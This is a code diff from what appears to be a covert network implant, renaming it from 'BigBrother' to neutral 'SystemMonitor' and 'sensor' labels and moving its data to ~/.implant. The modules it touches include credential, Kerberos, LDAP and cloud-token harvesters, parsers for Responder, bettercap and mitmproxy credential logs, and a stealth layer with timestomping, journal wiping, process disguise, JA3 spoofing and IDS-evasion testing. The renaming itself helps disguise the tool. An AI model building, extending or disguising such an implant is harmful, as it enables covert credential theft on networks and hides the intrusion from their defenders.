CREATE TABLE IF NOT EXISTS supply_chain ( CREATE TABLE IF NOT EXISTS supply_chain (
@@ -155,7 +155,7 @@ class SupplyChainDetect(BaseModule):
if self._running: if self._running:
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "supply_chain.db") self._db_path = os.path.join(base_dir, "supply_chain.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True) os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
@@ -175,7 +175,7 @@ class SupplyChainDetect(BaseModule):
# Periodic scan of accumulated DNS and HTTP data # Periodic scan of accumulated DNS and HTTP data
self._scan_thread = threading.Thread( self._scan_thread = threading.Thread(
target=self._periodic_scan, daemon=True, target=self._periodic_scan, daemon=True,
name="bb-supply-chain-scan", name="sensor-supply-chain-scan",
) )
self._scan_thread.start() self._scan_thread.start()
+6 -6
View File
@@ -18,7 +18,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.tool_output_parser") logger = logging.getLogger("sensor.intel.tool_output_parser")
# ----------------------------------------------------------------------- # -----------------------------------------------------------------------
# Responder log patterns # Responder log patterns
@@ -138,7 +138,7 @@ class ToolOutputParser(BaseModule):
# Periodic log directory scanner # Periodic log directory scanner
self._scan_thread = threading.Thread( self._scan_thread = threading.Thread(
target=self._scan_loop, daemon=True, target=self._scan_loop, daemon=True,
name="bb-tool-parser-scan", name="sensor-tool-parser-scan",
) )
self._scan_thread.start() self._scan_thread.start()
@@ -147,7 +147,7 @@ class ToolOutputParser(BaseModule):
if bettercap_cfg.get("enabled", True): if bettercap_cfg.get("enabled", True):
self._bettercap_thread = threading.Thread( self._bettercap_thread = threading.Thread(
target=self._bettercap_event_loop, daemon=True, target=self._bettercap_event_loop, daemon=True,
name="bb-tool-parser-bettercap", name="sensor-tool-parser-bettercap",
) )
self._bettercap_thread.start() self._bettercap_thread.start()
@@ -213,7 +213,7 @@ class ToolOutputParser(BaseModule):
log_dirs = self.config.get("responder_log_dirs", [ log_dirs = self.config.get("responder_log_dirs", [
"/opt/.cache/bb/responder/logs", "/opt/.cache/bb/responder/logs",
"/tmp/responder/logs", "/tmp/responder/logs",
os.path.expanduser("~/.bigbrother/responder"), os.path.expanduser("~/.implant/responder"),
]) ])
for log_dir in log_dirs: for log_dir in log_dirs:
@@ -330,7 +330,7 @@ class ToolOutputParser(BaseModule):
"""Scan bettercap log files for credential and host events.""" """Scan bettercap log files for credential and host events."""
log_dirs = self.config.get("bettercap_log_dirs", [ log_dirs = self.config.get("bettercap_log_dirs", [
"/opt/.cache/bb/bettercap/logs", "/opt/.cache/bb/bettercap/logs",
os.path.expanduser("~/.bigbrother/bettercap"), os.path.expanduser("~/.implant/bettercap"),
]) ])
for log_dir in log_dirs: for log_dir in log_dirs:
@@ -601,7 +601,7 @@ class ToolOutputParser(BaseModule):
"""Scan mitmproxy flow dump files for credentials.""" """Scan mitmproxy flow dump files for credentials."""
log_dirs = self.config.get("mitmproxy_log_dirs", [ log_dirs = self.config.get("mitmproxy_log_dirs", [
"/opt/.cache/bb/mitmproxy", "/opt/.cache/bb/mitmproxy",
os.path.expanduser("~/.bigbrother/mitmproxy"), os.path.expanduser("~/.implant/mitmproxy"),
]) ])
for log_dir in log_dirs: for log_dir in log_dirs:
+3 -3
View File
@@ -18,7 +18,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.topology_mapper") logger = logging.getLogger("sensor.intel.topology_mapper")
# OS family -> Graphviz fill color # OS family -> Graphviz fill color
_OS_COLORS = { _OS_COLORS = {
@@ -102,7 +102,7 @@ class TopologyMapper(BaseModule):
self._update_thread = threading.Thread( self._update_thread = threading.Thread(
target=self._periodic_update, daemon=True, target=self._periodic_update, daemon=True,
name="bb-topology-update", name="sensor-topology-update",
) )
self._update_thread.start() self._update_thread.start()
@@ -366,7 +366,7 @@ class TopologyMapper(BaseModule):
def generate_dot(self) -> str: def generate_dot(self) -> str:
"""Generate Graphviz DOT representation of the network topology.""" """Generate Graphviz DOT representation of the network topology."""
lines = [ lines = [
"digraph BigBrotherTopology {", "digraph SystemMonitorTopology {",
' rankdir=LR;', ' rankdir=LR;',
' bgcolor="#1a1a2e";', ' bgcolor="#1a1a2e";',
' node [style=filled, fontcolor=white, fontname="Courier"];', ' node [style=filled, fontcolor=white, fontname="Courier"];',
+3 -3
View File
@@ -18,7 +18,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.intel.user_timeline") logger = logging.getLogger("sensor.intel.user_timeline")
_SCHEMA = """ _SCHEMA = """
CREATE TABLE IF NOT EXISTS user_events ( CREATE TABLE IF NOT EXISTS user_events (
@@ -105,7 +105,7 @@ class UserTimeline(BaseModule):
if self._running: if self._running:
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "user_timeline.db") self._db_path = os.path.join(base_dir, "user_timeline.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True) os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
@@ -126,7 +126,7 @@ class UserTimeline(BaseModule):
# Periodic ingestion from other module state # Periodic ingestion from other module state
self._ingest_thread = threading.Thread( self._ingest_thread = threading.Thread(
target=self._periodic_ingest, daemon=True, target=self._periodic_ingest, daemon=True,
name="bb-user-timeline-ingest", name="sensor-user-timeline-ingest",
) )
self._ingest_thread.start() self._ingest_thread.start()
+1 -1
View File
@@ -1,4 +1,4 @@
"""BigBrother passive modules — zero-noise network observation.""" """SystemMonitor passive modules — zero-noise network observation."""
from modules.passive.packet_capture import PacketCapture from modules.passive.packet_capture import PacketCapture
from modules.passive.dns_logger import DNSLogger from modules.passive.dns_logger import DNSLogger
+3 -3
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.auth_flow_tracker") logger = logging.getLogger("sensor.passive.auth_flow_tracker")
# Protocol ports # Protocol ports
KERBEROS_PORT = 88 KERBEROS_PORT = 88
@@ -126,12 +126,12 @@ class AuthFlowTracker(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-auth-read" target=self._read_loop, daemon=True, name="sensor-auth-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-auth-flush" target=self._flush_loop, daemon=True, name="sensor-auth-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+3 -3
View File
@@ -20,7 +20,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.cloud_token_harvester") logger = logging.getLogger("sensor.passive.cloud_token_harvester")
# Token regexes — compiled once # Token regexes — compiled once
_TOKEN_PATTERNS = { _TOKEN_PATTERNS = {
@@ -104,12 +104,12 @@ class CloudTokenHarvester(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-cloud-read" target=self._read_loop, daemon=True, name="sensor-cloud-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-cloud-flush" target=self._flush_loop, daemon=True, name="sensor-cloud-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+4 -4
View File
@@ -27,7 +27,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.credential_sniffer") logger = logging.getLogger("sensor.passive.credential_sniffer")
# Hashcat mode mapping # Hashcat mode mapping
HASHCAT_MODES = { HASHCAT_MODES = {
@@ -82,7 +82,7 @@ class CredentialSniffer(BaseModule):
logger.error("CredentialSniffer requires capture_bus in config") logger.error("CredentialSniffer requires capture_bus in config")
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "credentials.db") self._db_path = os.path.join(base_dir, "credentials.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db() self._init_db()
@@ -106,12 +106,12 @@ class CredentialSniffer(BaseModule):
self._start_time = time.time() self._start_time = time.time()
self._reader_thread = threading.Thread( self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-cred-reader" target=self._read_packets, daemon=True, name="sensor-cred-reader"
) )
self._reader_thread.start() self._reader_thread.start()
self._flusher_thread = threading.Thread( self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-cred-flusher" target=self._flush_loop, daemon=True, name="sensor-cred-flusher"
) )
self._flusher_thread.start() self._flusher_thread.start()
+3 -3
View File
@@ -23,7 +23,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.db_interceptor") logger = logging.getLogger("sensor.passive.db_interceptor")
# TDS packet types # TDS packet types
TDS_SQL_BATCH = 0x01 TDS_SQL_BATCH = 0x01
@@ -119,12 +119,12 @@ class DBInterceptor(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-dbi-read" target=self._read_loop, daemon=True, name="sensor-dbi-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-dbi-flush" target=self._flush_loop, daemon=True, name="sensor-dbi-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+4 -4
View File
@@ -20,7 +20,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.dns_logger") logger = logging.getLogger("sensor.passive.dns_logger")
# Well-known DoH resolver IPs # Well-known DoH resolver IPs
DOH_RESOLVERS = frozenset([ DOH_RESOLVERS = frozenset([
@@ -78,7 +78,7 @@ class DNSLogger(BaseModule):
return return
# Database setup # Database setup
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "dns_queries.db") self._db_path = os.path.join(base_dir, "dns_queries.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db() self._init_db()
@@ -94,13 +94,13 @@ class DNSLogger(BaseModule):
# Packet reader thread # Packet reader thread
self._reader_thread = threading.Thread( self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-dns-reader" target=self._read_packets, daemon=True, name="sensor-dns-reader"
) )
self._reader_thread.start() self._reader_thread.start()
# Periodic flusher thread # Periodic flusher thread
self._flusher_thread = threading.Thread( self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-dns-flusher" target=self._flush_loop, daemon=True, name="sensor-dns-flusher"
) )
self._flusher_thread.start() self._flusher_thread.start()
+4 -4
View File
@@ -25,7 +25,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.host_discovery") logger = logging.getLogger("sensor.passive.host_discovery")
class HostDiscovery(BaseModule): class HostDiscovery(BaseModule):
@@ -72,7 +72,7 @@ class HostDiscovery(BaseModule):
logger.error("HostDiscovery requires capture_bus in config") logger.error("HostDiscovery requires capture_bus in config")
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "hosts.db") self._db_path = os.path.join(base_dir, "hosts.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db() self._init_db()
@@ -106,12 +106,12 @@ class HostDiscovery(BaseModule):
self._start_time = time.time() self._start_time = time.time()
self._reader_thread = threading.Thread( self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-hostdisc-reader" target=self._read_packets, daemon=True, name="sensor-hostdisc-reader"
) )
self._reader_thread.start() self._reader_thread.start()
self._flusher_thread = threading.Thread( self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-hostdisc-flusher" target=self._flush_loop, daemon=True, name="sensor-hostdisc-flusher"
) )
self._flusher_thread.start() self._flusher_thread.start()
+4 -4
View File
@@ -22,7 +22,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.kerberos_harvester") logger = logging.getLogger("sensor.passive.kerberos_harvester")
# Kerberos message types (application tags) # Kerberos message types (application tags)
KRB_AS_REQ = 10 KRB_AS_REQ = 10
@@ -84,7 +84,7 @@ class KerberosHarvester(BaseModule):
logger.error("KerberosHarvester requires capture_bus in config") logger.error("KerberosHarvester requires capture_bus in config")
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "kerberos_tickets.db") self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db() self._init_db()
@@ -98,12 +98,12 @@ class KerberosHarvester(BaseModule):
self._start_time = time.time() self._start_time = time.time()
self._reader_thread = threading.Thread( self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-kerb-reader" target=self._read_packets, daemon=True, name="sensor-kerb-reader"
) )
self._reader_thread.start() self._reader_thread.start()
self._flusher_thread = threading.Thread( self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-kerb-flusher" target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
) )
self._flusher_thread.start() self._flusher_thread.start()
+3 -3
View File
@@ -20,7 +20,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.ldap_harvester") logger = logging.getLogger("sensor.passive.ldap_harvester")
# LDAP protocol tags # LDAP protocol tags
TAG_SEQUENCE = 0x30 TAG_SEQUENCE = 0x30
@@ -117,12 +117,12 @@ class LDAPHarvester(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-ldap-read" target=self._read_loop, daemon=True, name="sensor-ldap-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-ldap-flush" target=self._flush_loop, daemon=True, name="sensor-ldap-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+4 -4
View File
@@ -20,7 +20,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.network_mapper") logger = logging.getLogger("sensor.passive.network_mapper")
TCP_PROTO = 6 TCP_PROTO = 6
UDP_PROTO = 17 UDP_PROTO = 17
@@ -110,17 +110,17 @@ class NetworkMapper(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-netmap-read" target=self._read_loop, daemon=True, name="sensor-netmap-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-netmap-flush" target=self._flush_loop, daemon=True, name="sensor-netmap-flush"
) )
self._flush_thread.start() self._flush_thread.start()
self._snapshot_thread = threading.Thread( self._snapshot_thread = threading.Thread(
target=self._snapshot_loop, daemon=True, name="bb-netmap-snapshot" target=self._snapshot_loop, daemon=True, name="sensor-netmap-snapshot"
) )
self._snapshot_thread.start() self._snapshot_thread.start()
+4 -4
View File
@@ -25,7 +25,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.os_fingerprint") logger = logging.getLogger("sensor.passive.os_fingerprint")
# p0f-style TCP signature database (built-in fallback) # p0f-style TCP signature database (built-in fallback)
# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version) # Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version)
@@ -111,7 +111,7 @@ class OSFingerprint(BaseModule):
logger.error("OSFingerprint requires capture_bus in config") logger.error("OSFingerprint requires capture_bus in config")
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "os_fingerprints.db") self._db_path = os.path.join(base_dir, "os_fingerprints.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db() self._init_db()
@@ -146,12 +146,12 @@ class OSFingerprint(BaseModule):
self._start_time = time.time() self._start_time = time.time()
self._reader_thread = threading.Thread( self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-osfp-reader" target=self._read_packets, daemon=True, name="sensor-osfp-reader"
) )
self._reader_thread.start() self._reader_thread.start()
self._flusher_thread = threading.Thread( self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-osfp-flusher" target=self._flush_loop, daemon=True, name="sensor-osfp-flusher"
) )
self._flusher_thread.start() self._flusher_thread.start()
+4 -4
View File
@@ -25,7 +25,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
from utils.networking import get_primary_interface from utils.networking import get_primary_interface
logger = logging.getLogger("bb.passive.packet_capture") logger = logging.getLogger("sensor.passive.packet_capture")
class PacketCapture(BaseModule): class PacketCapture(BaseModule):
@@ -73,7 +73,7 @@ class PacketCapture(BaseModule):
disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD) disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD)
# Directories # Directories
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._pcap_dir = os.path.join(base_dir, "pcaps") self._pcap_dir = os.path.join(base_dir, "pcaps")
Path(self._pcap_dir).mkdir(parents=True, exist_ok=True) Path(self._pcap_dir).mkdir(parents=True, exist_ok=True)
@@ -114,7 +114,7 @@ class PacketCapture(BaseModule):
# Watcher thread — monitors tcpdump stderr and detects crashes # Watcher thread — monitors tcpdump stderr and detects crashes
self._watcher_thread = threading.Thread( self._watcher_thread = threading.Thread(
target=self._watch_tcpdump, daemon=True, name="bb-pcap-watch" target=self._watch_tcpdump, daemon=True, name="sensor-pcap-watch"
) )
self._watcher_thread.start() self._watcher_thread.start()
@@ -122,7 +122,7 @@ class PacketCapture(BaseModule):
self._rotation_thread = threading.Thread( self._rotation_thread = threading.Thread(
target=self._rotation_loop, target=self._rotation_loop,
args=(compress_level, disk_threshold), args=(compress_level, disk_threshold),
daemon=True, name="bb-pcap-rotate", daemon=True, name="sensor-pcap-rotate",
) )
self._rotation_thread.start() self._rotation_thread.start()
+3 -3
View File
@@ -21,7 +21,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.quic_analyzer") logger = logging.getLogger("sensor.passive.quic_analyzer")
# QUIC constants # QUIC constants
QUIC_LONG_HEADER_BIT = 0x80 QUIC_LONG_HEADER_BIT = 0x80
@@ -107,12 +107,12 @@ class QUICAnalyzer(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-quic-read" target=self._read_loop, daemon=True, name="sensor-quic-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-quic-flush" target=self._flush_loop, daemon=True, name="sensor-quic-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+3 -3
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.rdp_monitor") logger = logging.getLogger("sensor.passive.rdp_monitor")
# NTLM signature for CredSSP extraction # NTLM signature for CredSSP extraction
NTLMSSP_SIGNATURE = b'NTLMSSP\x00' NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
@@ -101,12 +101,12 @@ class RDPMonitor(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-rdp-read" target=self._read_loop, daemon=True, name="sensor-rdp-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-rdp-flush" target=self._flush_loop, daemon=True, name="sensor-rdp-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+3 -3
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.smb_monitor") logger = logging.getLogger("sensor.passive.smb_monitor")
# SMB2 command IDs # SMB2 command IDs
SMB2_NEGOTIATE = 0x0000 SMB2_NEGOTIATE = 0x0000
@@ -112,12 +112,12 @@ class SMBMonitor(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-smb-read" target=self._read_loop, daemon=True, name="sensor-smb-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-smb-flush" target=self._flush_loop, daemon=True, name="sensor-smb-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+4 -4
View File
@@ -20,7 +20,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.tls_sni_extractor") logger = logging.getLogger("sensor.passive.tls_sni_extractor")
# TLS record types # TLS record types
TLS_HANDSHAKE = 22 TLS_HANDSHAKE = 22
@@ -84,7 +84,7 @@ class TLSSNIExtractor(BaseModule):
logger.error("TLSSNIExtractor requires capture_bus in config") logger.error("TLSSNIExtractor requires capture_bus in config")
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "tls_sni.db") self._db_path = os.path.join(base_dir, "tls_sni.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db() self._init_db()
@@ -98,12 +98,12 @@ class TLSSNIExtractor(BaseModule):
self._start_time = time.time() self._start_time = time.time()
self._reader_thread = threading.Thread( self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-sni-reader" target=self._read_packets, daemon=True, name="sensor-sni-reader"
) )
self._reader_thread.start() self._reader_thread.start()
self._flusher_thread = threading.Thread( self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-sni-flusher" target=self._flush_loop, daemon=True, name="sensor-sni-flusher"
) )
self._flusher_thread.start() self._flusher_thread.start()
+6 -6
View File
@@ -25,7 +25,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.traffic_analyzer") logger = logging.getLogger("sensor.passive.traffic_analyzer")
# Protocol number to name mapping # Protocol number to name mapping
PROTO_NAMES = { PROTO_NAMES = {
@@ -99,7 +99,7 @@ class TrafficAnalyzer(BaseModule):
logger.error("TrafficAnalyzer requires capture_bus in config") logger.error("TrafficAnalyzer requires capture_bus in config")
return return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "traffic_flows.db") self._db_path = os.path.join(base_dir, "traffic_flows.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db() self._init_db()
@@ -114,22 +114,22 @@ class TrafficAnalyzer(BaseModule):
self._start_time = time.time() self._start_time = time.time()
self._reader_thread = threading.Thread( self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-traffic-reader" target=self._read_packets, daemon=True, name="sensor-traffic-reader"
) )
self._reader_thread.start() self._reader_thread.start()
self._flusher_thread = threading.Thread( self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-traffic-flusher" target=self._flush_loop, daemon=True, name="sensor-traffic-flusher"
) )
self._flusher_thread.start() self._flusher_thread.start()
self._beacon_thread = threading.Thread( self._beacon_thread = threading.Thread(
target=self._beacon_loop, daemon=True, name="bb-traffic-beacon" target=self._beacon_loop, daemon=True, name="sensor-traffic-beacon"
) )
self._beacon_thread.start() self._beacon_thread.start()
self._stats_thread = threading.Thread( self._stats_thread = threading.Thread(
target=self._stats_loop, daemon=True, name="bb-traffic-stats" target=self._stats_loop, daemon=True, name="sensor-traffic-stats"
) )
self._stats_thread.start() self._stats_thread.start()
+3 -3
View File
@@ -17,7 +17,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.passive.vlan_discovery") logger = logging.getLogger("sensor.passive.vlan_discovery")
# Ethertypes and protocol IDs # Ethertypes and protocol IDs
ETHERTYPE_8021Q = 0x8100 ETHERTYPE_8021Q = 0x8100
@@ -122,12 +122,12 @@ class VLANDiscovery(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._read_thread = threading.Thread( self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="bb-vlan-read" target=self._read_loop, daemon=True, name="sensor-vlan-read"
) )
self._read_thread.start() self._read_thread.start()
self._flush_thread = threading.Thread( self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-vlan-flush" target=self._flush_loop, daemon=True, name="sensor-vlan-flush"
) )
self._flush_thread.start() self._flush_thread.start()
+1 -1
View File
@@ -1,4 +1,4 @@
"""BigBrother stealth modules — OPSEC layer.""" """SystemMonitor stealth modules — OPSEC layer."""
from modules.stealth.mac_manager import MacManager from modules.stealth.mac_manager import MacManager
from modules.stealth.process_disguise import ProcessDisguise from modules.stealth.process_disguise import ProcessDisguise
+4 -4
View File
@@ -19,9 +19,9 @@ from utils.stealth import (
_get_os_install_time, _get_os_install_time,
) )
logger = logging.getLogger("bb.stealth.anti_forensics") logger = logging.getLogger("sensor.stealth.anti_forensics")
# BigBrother install root (default; overridden by config) # SystemMonitor install root (default; overridden by config)
BB_ROOT = "/opt/.cache/bb" BB_ROOT = "/opt/.cache/bb"
@@ -96,7 +96,7 @@ class AntiForensics(BaseModule):
# ------------------------------------------------------------------ # ------------------------------------------------------------------
def _apply_timestomp(self) -> None: def _apply_timestomp(self) -> None:
"""Timestomp all BigBrother files to OS install date.""" """Timestomp all SystemMonitor files to OS install date."""
try: try:
ref_time = self._get_reference_time() ref_time = self._get_reference_time()
if os.path.isdir(self._bb_root): if os.path.isdir(self._bb_root):
@@ -172,7 +172,7 @@ class AntiForensics(BaseModule):
# ------------------------------------------------------------------ # ------------------------------------------------------------------
def _clean_journal(self) -> None: def _clean_journal(self) -> None:
"""Vacuum journal entries that might reference BigBrother components.""" """Vacuum journal entries that might reference SystemMonitor components."""
try: try:
# Vacuum to 1s to remove old entries we may have generated # Vacuum to 1s to remove old entries we may have generated
result = subprocess.run( result = subprocess.run(
+2 -2
View File
@@ -19,7 +19,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
from utils.crypto import LUKSContainer, derive_network_key from utils.crypto import LUKSContainer, derive_network_key
logger = logging.getLogger("bb.stealth.encrypted_storage") logger = logging.getLogger("sensor.stealth.encrypted_storage")
# Subdirectories created inside the mounted LUKS container # Subdirectories created inside the mounted LUKS container
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config") STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
@@ -239,7 +239,7 @@ class EncryptedStorage(BaseModule):
# For now, check if a pre-staged key file exists (deployed with implant) # For now, check if a pre-staged key file exists (deployed with implant)
key_paths = [ key_paths = [
"/opt/.cache/bb/config/luks_network_key", "/opt/.cache/bb/config/luks_network_key",
os.path.expanduser("~/.bigbrother/luks_network_key"), os.path.expanduser("~/.implant/luks_network_key"),
] ]
for path in key_paths: for path in key_paths:
try: try:
+1 -1
View File
@@ -12,7 +12,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.stealth.ids_tester") logger = logging.getLogger("sensor.stealth.ids_tester")
# Detection risk levels # Detection risk levels
RISK_LOW = "LOW" RISK_LOW = "LOW"
+1 -1
View File
@@ -15,7 +15,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.stealth.ja3_spoofer") logger = logging.getLogger("sensor.stealth.ja3_spoofer")
# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent) # Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
# Format: {name: {ja3_hash, cipher_suites, extensions, description}} # Format: {name: {ja3_hash, cipher_suites, extensions, description}}
+3 -3
View File
